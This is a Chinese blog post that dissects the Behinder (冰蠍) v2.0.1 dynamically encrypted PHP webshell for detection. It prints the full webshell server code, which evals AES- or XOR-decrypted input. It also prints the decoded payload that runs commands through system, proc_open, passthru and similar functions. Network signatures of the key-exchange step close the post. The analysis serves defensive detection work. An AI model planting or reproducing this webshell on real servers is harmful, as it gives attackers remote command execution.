天天看點

冰蠍php木馬修改,冰蠍動态二進制加密WebShell的檢測

中國菜刀等工具管理WebShell的時候會有一些固定的特征,容易被waf或者IPS檢測到,最近1年出來了個動态加密的WebShell管理工具,給檢測帶來了一定的困難,是以寫個文章簡單解剖一下

注:本文隻針對目前的最新版冰蠍(Behinder) v2.0.1,以php webshell為例,其他webshell隻是有細微的差别,有興趣可以自行研究

實驗環境用戶端: windows 7 + 冰蠍(Behinder) v2.0.1

服務端:ubuntu 16.04 + apache + php

webshell檔案分析

以php為例

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33<?php

@error_reporting(0);

session_start();

if (isset($_GET['pass']))

{

$key=substr(md5(uniqid(rand())),16);

$_SESSION['k']=$key;

print $key;

}

else

{

$key=$_SESSION['k'];

$post=file_get_contents("php://input");

if(!extension_loaded('openssl'))

{

$t="base64_"."decode";

$post=$t($post."");

for($i=0;$i

$post[$i] = $post[$i]^$key[$i+1&15];

}

}

else

{

$post=openssl_decrypt($post, "AES128", $key);

}

$arr=explode('|',$post);

$func=$arr[0];

$params=$arr[1];

class C{public function __construct($p) {eval($p."");}}

@new C($params);

}

?>

其實就兩個功能

1、首先存在pass參數的情況(其實這個就是通常所說的一句話木馬),就是通過截取随機數的md5的高16位作為密鑰,儲存在伺服器的全局 $_SESSION變量中,同時列印出來,這樣用戶端接收到就可以用這個密鑰進行通信了

2、假如不帶參數,就是加密通信的過程。假如php不存在openssl這個extension,就是用base64解碼後,使用key進行循環異或解密。而存在openssl就使用AES128進行解密

基于上面分析可以得到通信流程

冰蠍php木馬修改,冰蠍動态二進制加密WebShell的檢測

下面我們看看實際通信流量

資料包分析

通過在伺服器上傳webshell,用戶端連接配接後通過wireshark抓取資料包

冰蠍php木馬修改,冰蠍動态二進制加密WebShell的檢測

可以看到請求了兩次密鑰才開始真正的POST通信

接下來的通信,就是AES128加密後的base64密文

冰蠍php木馬修改,冰蠍動态二進制加密WebShell的檢測

是以我們檢測隻能從請求密鑰階段入手了

通過擷取密鑰的資料包,我們發現以下特征

1、使用GET方法

2、參數名即木馬的密碼(這個可以修改,不能作為特征),但是參數值為純數字可以作為特征,暫時來看應該1到5位數字可以比對到了,保險一點可以1-8都可以

3、請求中有HEADER字段:Content-type: application/x-www-form-urlencoded

4、響應中會有Content-Length: 16

5、當然響應的body肯定也是16長度,而且字元是16進制的字元,即[0-9a-f]

通信過程實際發送的payload

通過在webshell中加入如下代碼,即可獲得解密後的payload

冰蠍php木馬修改,冰蠍動态二進制加密WebShell的檢測

獲得的如下:(由于base64_decode後面的比較長是以省略了)

1assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY..............................'));

是以它就是将字元串base64解密之後通過eval執行

解碼上面的base64串得到下面真正的代碼(下面是以指令執行為例的代碼)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

[email protected]_reporting(0);

function getSafeStr($str){

$s1 = iconv('utf-8','gbk//IGNORE',$str);

$s0 = iconv('gbk','utf-8//IGNORE',$s1);

if($s0 == $str){

return $s0;

}else{

return iconv('gbk','utf-8//IGNORE',$str);

}

}

function main($cmd)

{

@set_time_limit(0);

@ignore_user_abort(1);

@ini_set('max_execution_time', 0);

$result = array();

$PadtJn = @ini_get('disable_functions');

if (! empty($PadtJn)) {

$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);

$PadtJn = explode(',', $PadtJn);

$PadtJn = array_map('trim', $PadtJn);

} else {

$PadtJn = array();

}

$c = $cmd;

if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {

$c = $c . " 2>&1\n";

}

$JueQDBH = 'is_callable';

$Bvce = 'in_array';

if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {

ob_start();

system($c);

$kWJW = ob_get_contents();

ob_end_clean();

} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {

$handle = proc_open($c, array(

array(

'pipe',

'r'

),

array(

'pipe',

'w'

),

array(

'pipe',

'w'

)

), $pipes);

$kWJW = NULL;

while (! feof($pipes[1])) {

$kWJW .= fread($pipes[1], 1024);

}

@proc_close($handle);

} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {

ob_start();

passthru($c);

$kWJW = ob_get_contents();

ob_end_clean();

} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {

$kWJW = shell_exec($c);

} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {

$kWJW = array();

exec($c, $kWJW);

$kWJW = join(chr(10), $kWJW) . chr(10);

} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {

$fp = popen($c, 'r');

$kWJW = NULL;

if (is_resource($fp)) {

while (! feof($fp)) {

$kWJW .= fread($fp, 1024);

}

}

@pclose($fp);

} else {

$kWJW = 0;

$result["status"] = base64_encode("fail");

$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");

$key = $_SESSION['k'];

echo encrypt(json_encode($result), $key);

return;

}

$result["status"] = base64_encode("success");

$result["msg"] = base64_encode(getSafeStr($kWJW));

echo encrypt(json_encode($result), $_SESSION['k']);

}

function encrypt($data,$key)

{

if(!extension_loaded('openssl'))

{

for($i=0;$i

$data[$i] = $data[$i]^$key[$i+1&15];

}

return $data;

}

else

{

return openssl_encrypt($data, "AES128", $key);

}

}$cmd="whoami";

main($cmd);

可以看到考慮了編碼問題,還有一些執行指令的函數被禁用的問題

最後輸出結構也是AES128加密的

工具每次隻需倒數第二行的$cmd即可更換要執行的指令

總結

攻防是不斷對抗更新的,冰蠍雖然通信過程加密,但是請求密鑰階段有很多特征,假如将請求密鑰階段特征抹掉,那麼我們防禦端會更加難以檢查。

上一篇: 五一随語~